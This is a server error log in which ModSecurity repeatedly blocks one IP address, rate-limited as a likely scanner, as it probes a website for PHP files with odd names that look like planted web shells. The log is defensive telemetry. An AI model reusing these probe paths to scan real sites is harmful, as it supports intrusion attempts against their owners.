[Sun Apr 19 02:41:26.823211 2026] [:error] [pid 32167:tid 32244] [client 20.91.197.181:52091] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aePQVkyD4Jm27Mb3NJiVxwAAAJM"]
[Sun Apr 19 02:41:27.497619 2026] [:error] [pid 32166:tid 32213] [client 20.91.197.181:52039] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aePQV5CHNkWwdiZnafLW9QAAAE8"]
[Sun Apr 19 02:41:28.252460 2026] [:error] [pid 60910:tid 60933] [client 20.91.197.181:50030] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hots.php"] [unique_id "aePQWHFWunkyacYqsD1MGQAAAVU"]
[Sun Apr 19 02:41:28.831972 2026] [:error] [pid 32252:tid 32264] [client 20.91.197.181:50884] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hots.php"] [unique_id "aePQWOXl4Yc-Lt5fJ9ir7QAAAQo"]
[Sun Apr 19 02:41:29.380767 2026] [:error] [pid 32165:tid 32182] [client 20.91.197.181:52554] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hots.php"] [unique_id "aePQWae2vKwEk_N0Brb_mAAAAA0"]
[Sun Apr 19 02:41:29.936814 2026] [:error] [pid 60910:tid 60928] [client 20.91.197.181:52669] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hots.php"] [unique_id "aePQWXFWunkyacYqsD1MHAAAAVA"]
[Sun Apr 19 02:41:30.617692 2026] [:error] [pid 32167:tid 32240] [client 20.91.197.181:49997] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aePQWkyD4Jm27Mb3NJiVzAAAAI8"]
[Sun Apr 19 02:41:31.165813 2026] [:error] [pid 32252:tid 32273] [client 20.91.197.181:47407] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aePQW-Xl4Yc-Lt5fJ9ir8QAAARM"]
[Sun Apr 19 02:41:31.826213 2026] [:error] [pid 32166:tid 32207] [client 20.91.197.181:51797] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aePQW5CHNkWwdiZnafLW_gAAAEk"]
[Sun Apr 19 02:41:32.660502 2026] [:error] [pid 32167:tid 32231] [client 20.91.197.181:51811] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aePQXEyD4Jm27Mb3NJiV0QAAAIY"]
[Sun Apr 19 02:41:33.250129 2026] [:error] [pid 33517:tid 33542] [client 20.91.197.181:47404] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "aePQXX4Zz-rubR1wiZ-7NwAAANc"]
[Sun Apr 19 02:41:33.835748 2026] [:error] [pid 32167:tid 32242] [client 20.91.197.181:49989] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "aePQXUyD4Jm27Mb3NJiV1AAAAJE"]
[Sun Apr 19 02:41:34.686153 2026] [:error] [pid 32167:tid 32227] [client 20.91.197.181:47411] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "aePQXkyD4Jm27Mb3NJiV1gAAAII"]
[Sun Apr 19 02:41:35.525571 2026] [:error] [pid 60910:tid 60919] [client 20.91.197.181:50013] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "aePQX3FWunkyacYqsD1MJQAAAUc"]
[Sun Apr 19 02:41:36.187741 2026] [:error] [pid 60910:tid 60912] [client 20.91.197.181:55514] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aePQYHFWunkyacYqsD1MJgAAAUA"]
[Sun Apr 19 02:41:36.918125 2026] [:error] [pid 32252:tid 32265] [client 20.91.197.181:51828] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aePQYOXl4Yc-Lt5fJ9ir_AAAAQs"]
[Sun Apr 19 02:41:37.613013 2026] [:error] [pid 32252:tid 32277] [client 20.91.197.181:55505] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aePQYeXl4Yc-Lt5fJ9ir_wAAARc"]
[Sun Apr 19 02:41:38.224524 2026] [:error] [pid 33517:tid 33533] [client 20.91.197.181:47383] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aePQYn4Zz-rubR1wiZ-7PQAAAM4"]
[Sun Apr 19 02:41:38.911719 2026] [:error] [pid 33517:tid 33536] [client 20.91.197.181:52635] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lclnqiii.php"] [unique_id "aePQYn4Zz-rubR1wiZ-7PgAAANE"]
[Sun Apr 19 02:41:39.487399 2026] [:error] [pid 32167:tid 32246] [client 20.91.197.181:50028] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lclnqiii.php"] [unique_id "aePQY0yD4Jm27Mb3NJiV2wAAAJU"]
[Sun Apr 19 02:41:40.319042 2026] [:error] [pid 32167:tid 32230] [client 20.91.197.181:49995] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lclnqiii.php"] [unique_id "aePQZEyD4Jm27Mb3NJiV3wAAAIU"]
[Sun Apr 19 02:41:40.965514 2026] [:error] [pid 32166:tid 32206] [client 20.91.197.181:47412] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lclnqiii.php"] [unique_id "aePQZJCHNkWwdiZnafLXBQAAAEg"]
[Sun Apr 19 02:41:41.880907 2026] [:error] [pid 32252:tid 32262] [client 20.91.197.181:51819] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aePQZeXl4Yc-Lt5fJ9isCAAAAQg"]
[Sun Apr 19 02:41:42.591841 2026] [:error] [pid 33517:tid 33524] [client 20.91.197.181:50002] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aePQZn4Zz-rubR1wiZ-7RgAAAMU"]
[Sun Apr 19 02:41:44.028346 2026] [:error] [pid 32167:tid 32249] [client 20.91.197.181:47409] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aePQaEyD4Jm27Mb3NJiV7AAAAJg"]
[Sun Apr 19 02:41:45.709158 2026] [:error] [pid 33517:tid 33533] [client 20.91.197.181:49990] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aePQaX4Zz-rubR1wiZ-7SwAAAM4"]
[Sun Apr 19 02:41:47.353209 2026] [:error] [pid 32165:tid 32169] [client 20.91.197.181:47390] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tot.php"] [unique_id "aePQa6e2vKwEk_N0Brb_mQAAAAA"]
[Sun Apr 19 02:41:48.950813 2026] [:error] [pid 32252:tid 32265] [client 20.91.197.181:51017] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tot.php"] [unique_id "aePQbOXl4Yc-Lt5fJ9isDQAAAQs"]
[Sun Apr 19 02:41:49.557529 2026] [:error] [pid 33517:tid 33543] [client 20.91.197.181:52659] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tot.php"] [unique_id "aePQbX4Zz-rubR1wiZ-7TAAAANg"]
[Sun Apr 19 02:41:50.253616 2026] [:error] [pid 60910:tid 60916] [client 20.91.197.181:52037] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tot.php"] [unique_id "aePQbnFWunkyacYqsD1MPAAAAUQ"]
[Sun Apr 19 02:41:51.139408 2026] [:error] [pid 41277:tid 41295] [client 20.91.197.181:51060] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tap.php"] [unique_id "aePQb0H3ayszMLZYflsFuAAAAZA"]
[Sun Apr 19 02:41:51.692855 2026] [:error] [pid 32165:tid 32173] [client 20.91.197.181:51782] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tap.php"] [unique_id "aePQb6e2vKwEk_N0Brb_mwAAAAQ"]
[Sun Apr 19 02:41:52.376803 2026] [:error] [pid 41277:tid 41299] [client 20.91.197.181:52064] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tap.php"] [unique_id "aePQcEH3ayszMLZYflsFuwAAAZQ"]
[Sun Apr 19 02:41:53.137465 2026] [:error] [pid 41277:tid 41279] [client 20.91.197.181:52038] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tap.php"] [unique_id "aePQcUH3ayszMLZYflsFwQAAAYA"]
[Sun Apr 19 02:41:53.952819 2026] [:error] [pid 41277:tid 41296] [client 20.91.197.181:55213] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vrhiw.php"] [unique_id "aePQcUH3ayszMLZYflsFwwAAAZE"]
[Sun Apr 19 02:41:54.811818 2026] [:error] [pid 41277:tid 41293] [client 20.91.197.181:49795] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vrhiw.php"] [unique_id "aePQckH3ayszMLZYflsFxgAAAY4"]
[Sun Apr 19 02:41:55.483934 2026] [:error] [pid 32165:tid 32186] [client 20.91.197.181:47366] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vrhiw.php"] [unique_id "aePQc6e2vKwEk_N0Brb_nQAAABE"]
[Sun Apr 19 02:41:56.350114 2026] [:error] [pid 32165:tid 32171] [client 20.91.197.181:52637] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vrhiw.php"] [unique_id "aePQdKe2vKwEk_N0Brb_ogAAAAI"]
[Sun Apr 19 02:41:57.003666 2026] [:error] [pid 60910:tid 60935] [client 20.91.197.181:55187] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qqjki.php"] [unique_id "aePQdXFWunkyacYqsD1MRwAAAVc"]
[Sun Apr 19 02:41:57.697067 2026] [:error] [pid 32167:tid 32229] [client 20.91.197.181:55491] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qqjki.php"] [unique_id "aePQdUyD4Jm27Mb3NJiWDgAAAIQ"]
[Sun Apr 19 02:41:58.441567 2026] [:error] [pid 60910:tid 60936] [client 20.91.197.181:49851] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qqjki.php"] [unique_id "aePQdnFWunkyacYqsD1MSwAAAVg"]
[Sun Apr 19 02:41:59.145932 2026] [:error] [pid 32166:tid 32221] [client 20.91.197.181:47378] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qqjki.php"] [unique_id "aePQd5CHNkWwdiZnafLXEQAAAFc"]
[Sun Apr 19 02:41:59.879640 2026] [:error] [pid 32166:tid 32199] [client 20.91.197.181:50894] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aePQd5CHNkWwdiZnafLXEwAAAEE"]
[Sun Apr 19 02:42:00.732083 2026] [:error] [pid 32166:tid 32208] [client 20.91.197.181:47401] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aePQeJCHNkWwdiZnafLXFAAAAEo"]
[Sun Apr 19 02:42:01.417761 2026] [:error] [pid 32165:tid 32174] [client 20.91.197.181:55175] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aePQeae2vKwEk_N0Brb_rgAAAAU"]
[Sun Apr 19 02:42:02.132290 2026] [:error] [pid 32165:tid 32181] [client 20.91.197.181:49993] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aePQeqe2vKwEk_N0Brb_sQAAAAw"]
[Sun Apr 19 02:42:02.743941 2026] [:error] [pid 32166:tid 32212] [client 20.91.197.181:55511] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/baixy.php"] [unique_id "aePQepCHNkWwdiZnafLXGQAAAE4"]
[Sun Apr 19 02:42:03.700232 2026] [:error] [pid 32252:tid 32269] [client 20.91.197.181:55171] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/baixy.php"] [unique_id "aePQe-Xl4Yc-Lt5fJ9isGQAAAQ8"]
[Sun Apr 19 02:42:04.419462 2026] [:error] [pid 60910:tid 60935] [client 20.91.197.181:50037] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/baixy.php"] [unique_id "aePQfHFWunkyacYqsD1MVwAAAVc"]
[Sun Apr 19 02:42:05.097955 2026] [:error] [pid 32167:tid 32237] [client 20.91.197.181:52555] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/baixy.php"] [unique_id "aePQfUyD4Jm27Mb3NJiWEwAAAIw"]
[Sun Apr 19 02:42:05.849679 2026] [:error] [pid 32252:tid 32261] [client 20.91.197.181:52623] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aePQfeXl4Yc-Lt5fJ9isHgAAAQc"]
[Sun Apr 19 02:42:06.462033 2026] [:error] [pid 32252:tid 32272] [client 20.91.197.181:55489] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aePQfuXl4Yc-Lt5fJ9isIQAAARI"]
[Sun Apr 19 02:42:07.105355 2026] [:error] [pid 32167:tid 32234] [client 20.91.197.181:52629] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aePQf0yD4Jm27Mb3NJiWGAAAAIk"]
[Sun Apr 19 02:42:07.933918 2026] [:error] [pid 32167:tid 32242] [client 20.91.197.181:49998] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aePQf0yD4Jm27Mb3NJiWHAAAAJE"]
[Sun Apr 19 02:42:08.786025 2026] [:error] [pid 32252:tid 32274] [client 20.91.197.181:51013] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "aePQgOXl4Yc-Lt5fJ9isJAAAARQ"]
[Sun Apr 19 02:42:09.609551 2026] [:error] [pid 60910:tid 60928] [client 20.91.197.181:50039] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "aePQgXFWunkyacYqsD1MWwAAAVA"]
